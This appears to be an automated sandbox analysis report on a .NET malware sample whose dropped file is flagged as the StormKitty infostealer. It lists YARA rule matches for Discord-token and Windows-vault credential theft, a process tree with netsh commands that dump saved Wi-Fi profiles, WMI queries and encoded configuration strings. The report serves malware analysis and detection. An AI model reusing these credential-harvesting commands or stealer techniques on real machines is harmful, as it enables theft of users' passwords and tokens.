Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty

Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe, 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe, 00000000.00000002.607764585.000000001CAAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemini calculator.exe" vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe, 00000000.00000000.294024987.0000000000778000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemini calculator.exe" vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe, 00000000.00000002.565939791.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePerfWatso.exe> vs 3ZCSmfAvnf.exe
Source: 3ZCSmfAvnf.exe	Binary or memory string: OriginalFilenamemini calculator.exe" vs 3ZCSmfAvnf.exe

Source: 3ZCSmfAvnf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WindowsDataC.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 3ZCSmfAvnf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

File created: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@27/84@6/6

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: wwst.exe.0.dr, Client/Helper/Methods.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: wwst.exe.0.dr, Client/Helper/Methods.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Helper/Methods.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: 3ZCSmfAvnf.exe	ReversingLabs: Detection: 71%
Source: 3ZCSmfAvnf.exe	Virustotal: Detection: 78%

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

File read: C:\Users\user\Desktop\3ZCSmfAvnf.exe

Jump to behavior

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\3ZCSmfAvnf.exe C:\Users\user\Desktop\3ZCSmfAvnf.exe
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\ProgramData\WindowsDataC.exe "C:\ProgramData\WindowsDataC.exe"
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\RunIt.exe "C:\Users\user\AppData\Local\Temp\RunIt.exe"
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\wwst.exe "C:\Users\user\AppData\Local\Temp\wwst.exe"
Source: unknown	Process created: C:\ProgramData\WindowsDataC.exe "C:\ProgramData\WindowsDataC.exe"
Source: unknown	Process created: C:\ProgramData\WindowsDataC.exe "C:\ProgramData\WindowsDataC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Rnts.exe "C:\Users\user\AppData\Local\Temp\Rnts.exe"
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Rnts.exe "C:\Users\user\AppData\Local\Temp\Rnts.exe"
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\ProgramData\WindowsDataC.exe "C:\ProgramData\WindowsDataC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\wwst.exe "C:\Users\user\AppData\Local\Temp\wwst.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process created: C:\Users\user\AppData\Local\Temp\RunIt.exe "C:\Users\user\AppData\Local\Temp\RunIt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

File created: C:\Users\user\AppData\Local\Temp\wwst.exe

Jump to behavior

Source: wwst.exe, 00000003.00000003.356627815.0000000005145000.00000004.00000020.00020000.00000000.sdmp, tmpCF41.tmp.dat.3.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 3ZCSmfAvnf.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\ProgramData\WindowsDataC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: wwst.exe.0.dr, Client/Settings.cs	Base64 encoded string: 'qmYI37x3cnnfopxlUhgaA7LLU3RVwdSoVOVGiERV30n0PznTCC07Yy+AtIsqgMpRRd5nRLEKCKLwWs5YWzDdlw==', 'Z5pZYvRJIFTn8wlNIbceeqsxsKyiih9zS9G1Q49QpoEQOhv8FIVYhJy3JtaDzo7YHrinzRvWHLMY6KkdaCxT9w==', 'lv3eVVbrtyehpFQQS+O85pqbqHpE531GsoTORjAIVkmXnn29fizpHaeprUcfXfR7i1rDsUVnA0uHFazCOt353g==', 'vx/BE7jbRUB6mf7JvBe7Aqms5ens79dF75erQeF42sT5vvO+4N9X2zk0aqxqkuguWA/A06An2byEZbqi5N4oc6eDd74t2bt19gesw0UIL8c=', 